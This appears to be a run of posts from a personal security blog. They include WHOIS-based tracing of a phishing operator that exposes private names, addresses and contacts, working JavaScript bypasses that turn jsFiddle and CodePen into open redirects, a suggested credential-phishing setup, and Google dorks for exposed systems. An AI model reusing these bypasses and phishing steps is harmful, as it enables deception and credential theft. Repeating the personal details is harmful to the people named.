Lame. Boxhost.me is a free web hosting service, and now we have a username: sycure. A search for it brings up an infosec blog: sycure.wordpress.com. In the interests of science, I used wget to mirror everything on sycure.boxhost.me, which you can download here. Stan made 3-4 versions of the same phishing site, apparently. There's not much worthwhile here, just shitty code. The robots.txt implies a wordpress install, but I didn't see one:
User-agent: *
Disallow: /wp-admin/
Disallow: /wp-includes/
The phishing page forwards your credentials to a php script, presumably to send them off, and then bounces you to a thankyou.html page. The interesting part here was the analytics code at the bottom of the Thank You page:
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-491816-39");
pageTracker._trackPageview();
} catch(err) {}</script>
Their analytics tracking number is listed near the end: UA-491816-39. Googling it brings us scrapes of a bunch of pages, the topmost of which is Formmailhosting.com, Youtubedriver.com, and Ricksgamblingguide.com. Formmailhosting is an affiliate marketing program (shocking), with a youtube page about affiliate marketing (also shocking).
Let's checkout formmailhosting.com:
   Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
   Domain Name: FORMMAILHOSTING.COM
      Created on: 17-Dec-08
      Expires on: 17-Dec-13
      Last Updated on: 18-Dec-12

   Registrant:
   Fleming Technologies
   7156 Georgetown
   Washington, Michigan 48095
   United States

   Administrative Contact:
      Fleming, Sherry  bfleming98@gmail.com
      Fleming Technologies
      7156 Georgetown
      Washington, Michigan 48095
      United States
      (248) 974-6876
Sherry's email seems a little odd: bfleming. A search for "sherry fleming michigan" brings us to the flash site of a web designer who apparently has worked on a Poker site. The address listed on the page is the same as the domain listed above.

The address seems to jive with the registration information, but who's email was that? A quick google of "bfleming98@gmail.com" shows Bryan C. Fleming, owner of a slew of domain names. Fair enough.

But what about our mysterious Stanley Ling? Stan registered his domain to stanley.ling@gmail.com, located at 29 Jalan 18/26, Taman Sri Rampai, Setapak in Kuala Lumpur, Malaysia. Here's a map.

Searching the registration email that was used, "stanley.ling@gmail.com," gives us his profile at a marketing website, where he confirms the email address and uses the username "syling."

It's worth noting that periods are ommitable in gmail addresses, so we can also search for stanleyling@gmail.com. This gives us multiple SEO marketing sites. His cks-online.com domain now bounces to a suspended page for an affiliate marketing program.

A search for "stanley ling malaysia" brings us multiple hits for an actual Stanley Ling living in Setapak and using the name syling. He has multiple profiles confirming his address and interests in online marketing.

So, there you have it. Was Stan owned by a fellow affiliate marketer or was he the originator? Who knows, but I had fun anyway.

Sunday, December 30, 2012

Weaponizing Pt 3: CodePen Redux

Note: CodePen has been notified of these problems and has fixed them. This is an analysis of how their original fix was bypassed and these techniques could possibly be applied to future redirection vulnerabilities.

Since my post about using code playgrounds as attack platforms, CodePen has added some JavaScript that will alert a user if the pen is trying to redirect them to a 3rd party domain. If you use the example redirect code from earlier in this series, you'll be presented with a prompt asking you if you'd like to leave CodePen. This article explains how to work around this code and carry out a redirection.

At the time of this writing, you can use Chrome developer tools or FireBug to see this code in action:
window.__canLeave = false;

window.onbeforeunload = function() {
    if (!__canLeave) {
        return "WARNING! You are leaving the safety of CodePen! Are you sure you want to leave?";
    }
};

setTimeout(function() {
    window.__canLeave = true;
}, 200);
In this code, they are hooking the onbeforeunload window event, which will execute their function when the browser window attempts to "unload" (read: navigate away from) the current page. If you tried our form-based redirect, you may have noticed that they will also attempt to overwrite form actions pointing to other domains.

Bypassing the Prompt
There are a couple of ways we can disable this prompting function. The first, blunt approach, is simply overwriting the window.onbeforeunload hook. We'll replace their function with a blank one of our own, then carry out our redirect.
<script>
window.onbeforeunload = function() {null;}
var target = 'win dow.loca tion="htt p://www.goo gle.com";';
eval(target.replace(/ /gi, ''));
</script>
A slightly more elegant approach is to not modify their function logic, but simply meet the function's requirements for a redirect. Because their __canLeave variable is attached to the window object, we can access it from our closure. So, let's just overwrite it:
<script>
window.__canLeave = true;
var target = 'win dow.loca tion="htt p://www.goo gle.com";';
eval(target.replace(/ /gi, ''));
</script>
Bypassing the Action Rewrite
This one is pretty easy. They're looking for form actions in our HTML, so we can overcome their form action filtering by dynamically assigning our form's action in JavaScript. Chaining our two techniques together gives us the following working redirect code:
<form id="bbb" />
<script>
window.__canLeave = true;
document.getElementById("bbb").action = "http://www.google.com";
document.getElementById("bbb").submit();
</script>
So Long And Thanks For All The Phish
So, besides open redirects, what else can we do with all of this? Well, CodePen has started rolling out professional accounts, and you no longer need Github to make one. Why not use their site to make a pen and go phishing?

Using data URIs combined with redirects, it would be easy to clone their login page in a pen. Add a message saying, "This pen is protected. Please log in to continue." We can now redirect any entered credentials to our own 3rd party site, log them for future use, then bounce the user to a real pen.

Summary
Although the examples in this series were trivial, they could easily be leveraged as a malicious attack platform. As CodePen begins to roll out more of their own features, especially those that people pay for, these techniques will become more exploitable.

Return to Part 1: Overview or Part 2: jsFiddle.

Thursday, December 13, 2012

Weaponizing Pt 2: Framebusting jsFiddle

In part 1 of this series, we looked at how we could use code playgrounds as open redirect services. One of our targets was jsFiddle. jsFiddle attempted to avoid some of our redirection problems by sandboxing a user's code in an iframe. On the surface, this seemed to solve the problem: by constantly leaving a JSFiddle banner on the page, the user is always reminded that they're viewing a fiddle.

At this point, the attacker needs to escape their horrible sandbox prison. Incidentally, this has been done before: framebusting to the rescue. Framebusting is traditionally a technique used to prevent UI redressing, essentially allowing a victim page to bust out of a potentially malicious iframe. We can use this technique to defeat jsFiddle's sandboxing iframe.

Again, we'll add our redirection code to the HTML area of our fiddle:
<form id="fun" action="http://www.gawker.com" />
<script>document.getElementById("fun").submit();</script>
If you run this fiddle now, you'll see the Gawker homepage, along with a jsFiddle banner along the top of the page. Now we can use JavaScript to escape the shackles of our imprisonment, improving our redirect. By changing our code to the following, we can bust out of our iframe and redirect properly:
<script>if( self != top ) {top.location = self.location;}</script>
<form id="fun" action="http://www.gawker.com" />
<script>document.getElementById("fun").submit();</script>
This extra line checks if our current script's location is the same as our parent window's location. Because our script is running in a frame, our location (in the frame) is different than the parent's location (out of the frame). Whenever this happens, we set the parent's location to our current location. Our script then continues to our redirect as normal.

Summary
This again reiterates how difficult it is to control client-side functionality in a language as robust as JavaScript. When JavaScript controls the DOM, and the DOM can have embedded JavaScript, it only takes one oversight to take full control of content.

Sunday, November 18, 2012

Weaponizing jsFiddle, CodePen, and JSApp

Update : This post is now part of a series. Read part 2 (jsFiddle) and part 3 (codepen).

Sites such as jsfiddle.net and codepen.io allow web developers to quickly prototype and share code. They provide an interactive environment, where you can experiment with HTML, CSS, and JavaScript, then view the results in real time. These code snippets can be saved and shared, and sites providing these services are quickly gaining popularity. While many developers may be wary of strange URL shorteners, they don't think twice to click links from these sites, as they believe they'll just be viewing a sandboxed code snippet.

Today we'll be turning these sites into open redirects. Open redirects are web applications that allow an attacker to redirect you to a site of their choosing, while playing on the user's trust of the vulnerable website. They can be used to launch phishing attacks and redirect users to malicious content.
You can read more about open redirects at the CWE and OWASP.

Although these sites have taken precautions to prevent trivial redirects (such as blocking JS's window.location), they've missed some other techniques which we'll outline below. Such techniques can allow an attacker to deliver malicious iframes or redirects, essentially transforming these sites into URL shorteners.

The Redirection Connection: jsFiddle.net
Both jsFiddle and CodePen attempt to block trivial redirects by stripping out window.location strings. Additionally, jsFiddle even sandboxes your code into a separate iframe. However, it still leaves you other options: either a form-based redirect or inclusion of an arbitrary iframe. After entering your code, you can save your fiddle, go to share, and send your target the URL for the full-screen results.

Using a form-based redirect, we can send a target to an arbitrary URL (in this case, gawker.com). We'll make a form element with an action of our target URL, then automatically submit our form.

Add the following to your HTML text area, save, and share the full-screen URL. 
<form id="fun" action="http://www.gawker.com" />
<script>document.getElementById("fun").submit();</script>
Our second, less sexy option, is an iframe to our target URL. You have a few options here: 1x1px iframe running browser exploits, a full-screen frame, serve up spam, or perhaps some type of UI-redressing techniques. You could also create an official-looking login form and phish for credentials.

For a full screen frame, use the following code in the HTML input area: 
<iframe src="http://www.gawker.com" style="width: 100%; height: 2000px" />
You get a lame jsFiddle nav bar on top, but luckily that won't be a problem using CodePen! You can read about how to remove the jsFiddle nav bar in part 2.

Redirection Indiscretion: CodenPen.io
Both of the above techniques also work on CodePen, and you don't even have the branded navigation bar on top! However, they've also given us a 2nd redirection option. Even though they attempt to strip out "window.location" strings, we can use the tried-and-true combo of eval() + fromCharCode(), and redirect our target to an arbitrary URL.

By converting our desired redirect to it's ASCII character codes, CodePen doesn't recognize our window.location string. You can use sites such as this one to convert your string. Here we've encoded: window.location = "http://www.google.com";

Click on New Pen, enter the code into your HTML section, save, and share the full screen URL.
<script>
eval(String.fromCharCode(119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 103, 111, 111, 103, 108, 101, 46, 99, 111, 109, 34, 59));
</script>
This attack will work as long as the eval() function is available. Even if the CodePen filter attempts to translate fromCharCode() strings, you can utilize other encoding methods such as base64 and URL encoding to accomplish the same attack.

Another simple version of this breaks up the filtered string with whitespaces, then removes the spaces upon eval().
<script>
eval("win dow.loca tion='http://www.google.com';".replace(/\s/g,''));
</script>
Update: Codepen now includes updates to alert users of 3rd party redirects. You can learn how to disable these alerts in part 3.

Bonus round: JSApp.us
As a bonus, we'll also look at jsapp.us, which allows experimentation with NodeJS code. This can also be leveraged to create a redirection service. To share JSApp code, you'll need to create a free account. Click login from the commands on the right, create a new user, and enter your information. You can use a service such as mailinator.com (and its many different domains) to create a throw-away account. Once logged in, you can save your file and deploy it to a JSApp subdomain for sharing.

You can redirect a user to an arbitrary URL using the following code:
var http = require('http');
http.createServer(function (req, res) {
  res.writeHead(302, {'Location': 'http://google.com'});
  res.end();
}).listen();
 I'm sure a NodeJS coder can probably also come up with a couple of other neat tricks to take advantage of.

Summary
When you allow end-users to enter arbitrary code as part of the functionality for your web application, it's hard to do proper input validation. The sites we looked at today used a blacklisting approach (by stripping out certain "bad" strings) which we were able to bypass using basic HTML and JavaScript. Indeed, it could be argued that these features are a legitimate use of their applications. Essentially, it's trivial to turn the sites into nothing more than URL shorteners, which could be used for redirects, serving spam, phishing campaigns, and delivering malicious code.

With small adjustments or stricter filtering policies, weaponizing these platforms could become more difficult. This genre of webapp is a quickly growing, however, and we've only looked at a couple of the more popular sites.

Continue to part 2 of the series.

Wednesday, April 4, 2012

Pharma Spam on University Websites

Google finds some amazing things if you give it the right query. It's not exactly a secret that with the right google dork or "hack," you can find all sorts of things that weren't meant to be published. This has always been a hobby of mine, if only because the content you find is usually so weird and interesting. If you're interested in this kind of thing, you can check out a guide on advanced operators and the Google Hacking Database.

As I used to work for a fairly large university, I was perusing results for .edu sites the other day when I started running across a fair amount of similar-looking pharmaceutical spam. You can see a pretty huge sample of it by using the following dork:
site:*.edu (intitle:viagra||intitle:cialis)
I contacted a few universities to let them know but after receiving no responses, I figured I'd just throw this one out there.

It's incredibly difficult to police a university-sized network. To make matters worse (for admins), sites in the .edu top level domain are common targets because of their size, crappy student-created webapps, and the google juice that a big .edu can bring to a link farm. Because of this, it's really not uncommon for this kind of thing to happen. Scripts scanning for web vulnerabilities can infect huge swaths of a network in one swoop.

Targeted google dorks seem like an ideal way for edu admins to stay on top of this kind of thing, especially because the googlebot will probably know about it far before you do. A simple google alert can be set up for your domain (such as site:*.msu.edu), and the results will literally just be sent to you. No need to make this difficult, guys.

Sunday, February 12, 2012

Checking for HTTPS with JavaScript

SSLStrip is a really sweet tool that came out a couple years ago. While I won't go into detail here, sslstrip allows a man-in-the-middle attack against secured web connections by parsing out all HTTPS links and replacing them with regular HTTP. Sslstrip will even add a lock favicon to help convince the user HTTPS is in use, but most people probably won't even notice, which is why the attack is so brilliant. The server won't see anything out of the ordinary, and unless the target checks their URL, they won't receive any warnings either.

You can learn more about sslstrip here and here.

This attack got me thinking about ways that a website itself could help ensure an encrypted connection. Web browsers themselves are code delivery systems (HTML, JS, etc) are essentially code interpreted by the client), which means web developers should be able to offer at least a little bit of help. (MITM detection software exists, but usually proactively needs to be installed and ran by the user.)

It should be noted that many "secure" websites will still offer unencrypted connections, on the off-chance that a user's browser doesn't support HTTPS. Most browsers today, however, support secured connections. Even mobile browsers issue warnings, even if they are varied.

Note: the following is best solved by setting HSTS headers, which most browsers are beginning to support. This is just an experiment for a programmatic solution.

In our scenario, we're going to assume we have an HTTPS-only web app with a user who's been MITM'd with sslstrip. The goal was to help slap the user up and make them notice a lack of encryption. To do this, we can send them a piece of embedded javascript to check the current URL. This is a naive detection method, as javascript could be blocked by the attacker or tampered with. To help get our script through to the user, we can heavily obfuscate it on the server-side, and preferably add some element of randomness to help avoid a constant signature that could be regex'd out of our page. This is important, as an attacker that notices what's happening could easily defeat our checks before we get a chance to warn our user.

With fingers crossed, our attacker isn't aware of our code snippet (and is, perhaps, just passively grepping sslstrip output for credentials).

Example JS
//This check should run on pageload
var sslFlag = (window.location.protocol == "https:");
if (!sslFlag) {
alert("This connection isn't secured. An attacker is possibly intercepting traffic.");
}
//If sslFlag returns false or we never receive an AJAX report, make a log and possibly take action, such as a temporary password reset
ajaxReporting(ourDomain, sslFlag);
Homograph Attack
Sslstrip can also perform what's called a homograph attack, wherein the attacker uses look-alike characters to pose as the webpage they are attacking. While the above code wouldn't be very helpful in this scenario (as the connection is still HTTPS), we could instead check the character code of each letter in the URL. If the URL isn't correct, then we could fire off our warnings.

The homograph attack requires the attacker to have targeted a specific site, at least to register their false domain, so the chance of them noticing our code increases significantly.

Summary
I want to make it clear that I am by no means knocking the awesomeness of sslstrip or implying that this is a foolproof detection method. I'm very aware that this can be easily defeated if someone is expecting it. This simply adds one more step that needs to be taken care of for a successfully sneaky attack to take place.

That said, in my experience as a developer, websites often absolve themselves of responsibility for attacks that occur on local networks, and this simply struck me as one possible way to sneak some extra help to users in possibly hostile environments. In a critical situation where it's better to be safe than sorry, any extra layer of warning helps.

Monday, February 6, 2012

Detecting Firebug

Lately I've noticed a few sites that attempt to check if Firebug is enabled. Sometimes this is for legitimate purposes, sometimes not so much. For example, some web apps warn you about performance degradation, while some malicious websites will attempt to attack browsers with debug tools enabled.

Until recently, firebug was easily detectable by the window.console.firebug object, which would return the version of firebug installed, if applicable. This has since been removed by the developers.

Regardless of your intentions, for now you can still detect Firebug by analyzing console properties. Any unique properties that firebug adds to window.console can be used (ex. exception, memoryProfile, memoryProfileEnd). This can be implemented as
if (window.console && (window.console.firebug || window.console.exception)) {
/* firebug is active! alert(), fire ajax, crash browser, redirect, whatever */
}
You can read about this technique in more detail at StackOverflow, as well as some other interesting hacks for detection.

Tuesday, October 18, 2011

Fun with JIRA

Atlassian's JIRA is an issue tracking system brought to you by the same people who made that-sounds-like-a-disease Confluence. It's used by a wide array of different companies to assign software developers to bug fixes and feature requests. The app itself is Java-based and typically comes bundled with Apache Tomcat. You can read more about the requirements here.

Google Dork
Due to distinct URLs that the JIRA dashboard generates, you can find open systems with a simple search for:
inurl:/secure/Dashboard.jspa
Some of these JIRA instances require authentication to poke around, others don't. Either way, it's an interesting look into who uses JIRA and what issues they're tracking. Highlights include software components, technologies in use, and developer names.

Server Information
JIRA also supports a charting plugin, built around JFreeChart. You can see an example of one of these charts in the screenshot below.

In version 4.3.4 (I haven't tested any others), you can right-click on this image and select "View Image." This will take you to a URL with a format similar to .../charts?filename=jfreechart-onetime-666hashstuff.png and give you a classy dump of server information.
In the "cause" section you can see the install directory and location of the temp folder used for chart generation. If you dig past the stack trace, you can find things such as:
  • JIRA versions
  • Build dates
  • Install types
  • Application server / version
  • Memory information
  • Java version and JVM
  • Username
  • Server OS
  • Server processor architecture
  • Database type / version
  • Plugins
As well as a bunch of other random information. This is possibly just the result of a misconfigured error page, but JIRA's own tickets seem to suggest that it's supposed to happen. Regardless, if you happen to notice a JIRA install, it may be worth looking for.

Also worth noting is this ticket, which suggests that some of the generated charts stick around for a while, which could be hard on that old temp directory.

Tuesday, May 31, 2011

Tumblr Using Amazon S3

Apparently Tumblr uses Amazon S3 for hosting content. Viewing an image on their site recently gave me a URL of:
http://s3.amazonaws.com/data.tumblr.com/tumblr_XXX.jpg?AWSAccessKeyId=XXX&Expires=XXX&Signature=XXX

As opposed to the URLs you normally see when viewing an image on Tumblr:
http://XX.media.tumblr.com/tumblr_XXX.jpg

The original URL is now giving me an "access denied" XML response but there are a bunch of references to it to be found on google. It's also worth noting that the XML response is the same for broken links regardless of which of the two previous URL formats you use. The s3 URLs appear to have been in use since at least 2009 (from some of the googlebot's crawl dates).

I found this interesting because I didn't see any prominent references to S3 storage on any of Tumblr's user agreements or staff blog. As more companies move to cloud storage solutions, users need to be more aware of where their information is going. What additional policies or user agreements, if any, are implied when your data is stored on Amazon? Is information passing country borders and subject to new laws?

On another note, while searching for more about this, I found this article mentioning a leak of Tumblr's API credentials, including their S3 clusters.